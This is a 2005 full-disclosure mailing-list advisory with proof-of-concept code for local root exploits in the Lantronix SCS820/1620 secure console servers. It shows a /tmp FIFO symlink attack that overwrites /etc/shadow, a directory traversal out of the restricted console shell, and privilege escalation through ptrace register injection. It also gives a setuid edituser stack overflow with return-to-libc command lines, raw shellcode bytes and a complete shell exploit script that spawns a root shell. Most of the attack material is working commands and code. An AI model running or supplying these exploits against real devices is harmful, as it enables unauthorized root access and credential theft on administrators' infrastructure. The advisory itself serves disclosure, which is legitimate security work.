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[Full-disclosure] Root exploit in Lantonix Secure Console Server

From: c0ntex (c0ntexbgmail.com)
Date: Fri Aug 05 2005 - 09:58:24 CDT


 /*
  *****************************************************************************************************************
  $ An open security advisory #11 - Lantronix SCS Local Root Exploits

*****************************************************************************************************************
  1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com || c0ntex[]open-security.org
  2: Bug Released: August 05 2005
  3: Bug Impact Rate: Hi
  4: Bug Scope Rate: Local
  *****************************************************************************************************************
  $ This advisory and/or proof of concept code must not be used for
commercial gain.
  *****************************************************************************************************************

  SCS820/1620 - Lantronix Secure Console Server
  http://www.lantronix.com

  "The SCS820 and SCS1620 are members of the ActiveLinx family of
secure console servers (SCS).
  With ActiveLinx secure console servers, system administrators can
tackle local and remote IT
  incidents in record time. IT professionals gain key business
advantages such as reduced time
  attending problems and lowered total cost of ownership for equipment
and maintenance. Secure
  console servers provide a significant return on investment with
faster problem solving
  capabilities and higher uptime."

  Multiple security issues with Lantronix Secure Console Server mean
that it is trivial for a
  user to become root and cause trouble on the system by abusing
buffer overflows and insecure
  file system configurations.

  1) Insecure /tmp and pipe permissions.
  2) Directory traversal allowing local users unauthorised access to
underlying Linux OS.
  3) Sysadmin gains local root by abusing the fact that ci does not
drop root privileges.
  4) All users local root via edituser using return-to-libc and
generic stack smash.

  Lantronix have released a fix for these issues in their latest
patch, Firmware v4.4

  Example 1: Overwrite root owned files
  ----------
  [c0ntexSCS1620 /tmp]$ ls -al
  total 2
  drwxrwxrwx 2 root root 1024 Oct 31 00:50 ./
  drwxr-xr-x 16 root root 1024 Oct 20 11:38 ../
  prw-rw-rw- 1 root root 0 Oct 31 00:14 listen_fifo_server|

  [c0ntexSCS1620 /tmp]$ mv listen_fifo_server listen_fifo_server.orig
  [c0ntexSCS1620 /tmp]$ ln -s /etc/shadow listen_fifo_server

  Now user waits for system administrator to log in and do some work
on the console:
 
  sysadmin>listen 01
  Please wait for connection..
  sysadmin-DEVICE_01>logout

  [sysadminSCS1620 /tmp]$ su - root
  Password:
  su: incorrect password # odd......

  From another window:
  [rootSCS1620 /tmp]# head /etc/shadow
  j /tmp/listen_fifo_5226;DEVICE_0121:0:99999:7:-1:-1:134550324
  bin:*:11529:0:99999:7:::
  daemon:*:11529:0:99999:7:::
  adm:*:11529:0:99999:7:::

  Example 2: Directory traversal to gain access to underlying system
  ----------
  c0ntex>?
  Commands:
  alias - List command aliases
  cat - Print history buffer
  clear - Clear port buffer
  connections - show active connections
  ...
  c0ntex>/bin/bash
  /bin/bash: unknown command
  c0ntex>
  c0ntex>
  c0ntex>../../../bin/bash
  [c0ntexSCS1620 /var/tmp]$

  Example 3: Sysadmin becomes root
  ----------
  sysadmin>
  sysadmin>
  sysadmin>bash
  sysadminSCS1620 /var/tmp$
  sysadminSCS1620 /var/tmp$
  sysadminSCS1620 /var/tmp$ cat /etc/shadow
  cat: /etc/shadow: Permission denied
  sysadminSCS1620 /var/tmp$
  sysadminSCS1620 /var/tmp$
  sysadminSCS1620 /var/tmp$ exit
  sysadmin>../../../bin/cat /etc/shadow
  root:$1$kjhfiusdhf9hs9f898ufs89ujfoj292020i2krp.:12721:0:99999:7:-1:-1:134550324
  bin:*:11529:0:99999:7:::
  daemon:*:11529:0:99999:7:::
  ...
  sysadmin>../../../bin/vi
  ~
  ~
  ~
  ~
  ~
  :!cat /etc/shadow
  root:$1$kjhsfsdfsdff9hs9f898ufs89ujfoj292020i2krp.:12721:0:99999:7:-1:-1:134550324
  bin:*:11529:0:99999:7:::
  daemon:*:11529:0:99999:7:::
  ...
  ~
  ~
  ~
  ~
  ~
  :q!

  Run bash from the ci interface as sysadmin and from strace, we get
the following:

  sysadmin>bash
  ...
  14441 [400d8367] getuid() = 500
  14441 [400f775b] setresuid(ruid 4294967295, euid 500, suid 4294967295) = 0

  and via directory traversal:

  sysadmin> ../../../bin/bash
  ...
  14392 [400ab367] getuid() = 500
  14392 [400ab3c7] getgid() = 100
  14392 [400ab397] geteuid() = 0
  14392 [400ab3f7] getegid() = 100
  ...

  sysadmin>../../../home/sysadmin/snakeoil 10719

  Attached process [10719] OK!
  ++ Stack regsiters for PID of [10719] ++
        Stack Address of %eax = [0xfffffe00]
        Stack Address of %ecx = [0xbffff100]
        Stack Address of %edx = [0x00000000]
        Stack Address of %ebx = [0xffffffff]
        Stack Address of %esp = [0xbffff0c8]
        Stack Address of %ebp = [0xbffff0e8]
        Stack Address of %esi = [0x00000000]
        Stack Address of %edi = [0xffffffff]
        Stack Address of %eip = [0x400d79a9]

  Injecting %eip register with [0xbffff2bb]

  ++ Stack regsiters for PID of [10719] ++
        Stack Address of %eax = [0xfffffe00]
        Stack Address of %ecx = [0xbffff100]
        Stack Address of %edx = [0x00000000]
        Stack Address of %ebx = [0xffffffff]
        Stack Address of %esp = [0xbffff0c8]
        Stack Address of %ebp = [0xbffff0e8]
        Stack Address of %esi = [0x00000000]
        Stack Address of %edi = [0xffffffff]
        Stack Address of %eip = [0xbffff2bb]
  Detached process [10719] OK!

  bash#

  Example 4: Become root - Buffer overflow in edituser binary

  The edituser binary is used to edit a users configuration parameters
found in UserName.conf.
  It lets you set escape sequences, server permissions and other basic
user permissions and
  features of the Secure Console Server.

  During exploitation, edituser will strip \xff from the input, so you
have to use a retaddr
  that does not have the standard 0xbfff1234 type address. By creating
a large pad environment
  variable before running the test you can nudge your shellcode to a
nice location, such as
  0xbffe1234, which lets us get round this trivial obstacle. The
return-to-libc method also
  needs the stack nudge since the address for "/bin/sh" is stored in
the environment.

  [sysadminSCS1620 /usr/local/bin]$ ls -al edituser
  -rwsr-xr-x 1 root root 12912 Apr 15 2003 edituser
  [sysadminSCS1620 /usr/local/bin]$ su - c0ntex
  Password:
  bash$ cp `which edituser` . && gdb -q ./edituser
  no debugging symbols found)...gdb>
  gdb>
  gdb>r -b `perl -e 'printf "\x41" x 70'`
  escape sequence is too long.
  (no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no
  debugging symbols found)...
  Program received signal SIGSEGV, Segmentation fault.
  _______________________________________________________________________________
       eax:00000000 ebx:00000004 ecx:4001A94B edx:4010B140 eflags:00010246
       esi:0804BC0C edi:00000000 esp:BFFEC748 ebp:41414141 eip:41414141
       cs:0023 ds:002B es:002B fs:0000 gs:0000 ss:002B o d I t s Z a P c
  [002B:BFFEC748]---------------------------------------------------------[stack]
  BFFEC778 : 28 D6 04 08 6C C9 10 40 - 70 A8 00 40 94 F8 FE BF
(...l..p......
  BFFEC768 : 8C 9B 04 08 01 00 00 00 - 60 BC 04 08 08 BC 04 08
........`.......
  BFFEC758 : BC BC 04 08 F0 C7 FE BF - 01 00 00 00 48 F8 FE BF
............H...
  BFFEC748 : 41 41 41 41 41 41 41 41 - 41 41 00 08 FF FF FF FF
AAAAAAAAAA......
  [002B:0804BC0C]---------------------------------------------------------[
data]
  0804BC0C : 39 BA 01 40 2C BA 01 40 - 1E BA 01 40 10 BA 01 40
9..,........
  0804BC1C : 00 00 00 00 00 00 00 00 - 03 00 00 00 00 00 00 00
................
  [0023:41414141]---------------------------------------------------------[
code]
  0x41414141: Error while running hook_stop:
  Error while running hook_stop:
  Cannot access memory at address 0x41414141
  0x41414141 in ?? ()
  gdb> q

  //return-to-libc version for non-exec-stack systems

  [c0ntexSCS1620 ~]$ id -a
  uid=501(c0ntex) gid=501(c0ntex) groups=501(c0ntex)
  [c0ntexSCS1620 ~]$ export STACKPAD=`perl -e 'print "A" x 65000'`
  [c0ntexSCS1620 /home/c0ntex]$ edituser -e `perl -e 'print "A" x
56'``printf "\x70\xe6\x05\x40\x70\xe6\x05\x40\x81\xfd\xfe\xbf"`
  escape sequence is too long.
  bash: /bin/bash/.bashrc: Not a directory
  bash#

  //general stack-smash version for older boxes

  #!/bin/sh
  # Lantronix Secure Console Server edituser root exploit by
  # c0ntex - c0ntexbgmail.com | c0ntexopen-security.org
  # Advisory http://www.open-security.org/advisories/11
  #
  # The Linux system supplied by Lantronix does not have gnu
  # C compiler, so the exploit is provided as a shell script
  # as such, you might need to change the address for
  #
  #[c0ntexSCS1620 ~/exploit]$ sh edituserxp.sh
  #
  # **** *** *** *** *** *** *** *** ***
  #[-] Local root exploit for edituser using return-to-libc
  #[-] discovered and written by c0ntex | c0ntexbgmail.com
  #Expect a root shell :-) -> escape sequence is too long.
  #bash# id -a
  #uid=0(root) gid=0(root) groups=100(users),0(root),200(admin)
  #bash#
  #
  BUFFPAD="OPEN-SECURITY.ORG**OPEN-SECURITY.ORG**OPEN-SECURITY.ORG!"
  NOPSLED=`perl -e 'print "\x41" x 1000'`
  RETADDR=`printf "\x74\xc2\xfe\xbf"`
  SETUID=`printf "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"`
  SHELL=`printf
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"`
  STACKPAD=`perl -e 'print "A" x 65000'`
  VULNAP=/usr/local/bin/edituser
  VULNOP="-e"

  export BUFFPAD NOPSLED RETADDR SETUID SHELL STACKPAD VULNAP VULNOP

  printf "\n **** *** *** *** *** *** *** *** ***\n"
  printf "[-] Local root exploit for edituser\n"
  printf "[-] discovered and written by c0ntex\n"

  if [ -f $VULNAPP ] ; then
        printf "Expect a root shell :-) -> "; sleep 1
        $VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
        success=$?
        if [ $success -gt 0 ] ; then
                printf "\nSeems something messed up, changing NOPBUF
to 10000 and trying again!\n"
                sleep 2
                unset NOPSLED
                NOPSLED=`perl -e 'print "\x41" x 10000'`
                printf "Expect a root shell :-) -> "
                $VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
                success=$?
                if [ $success -gt 0 ] ; then
                        printf "\nAgain it failed, sorry you are on
your own now :(\n"
                fi
        fi
  fi

EOF

--

regards
c0ntex
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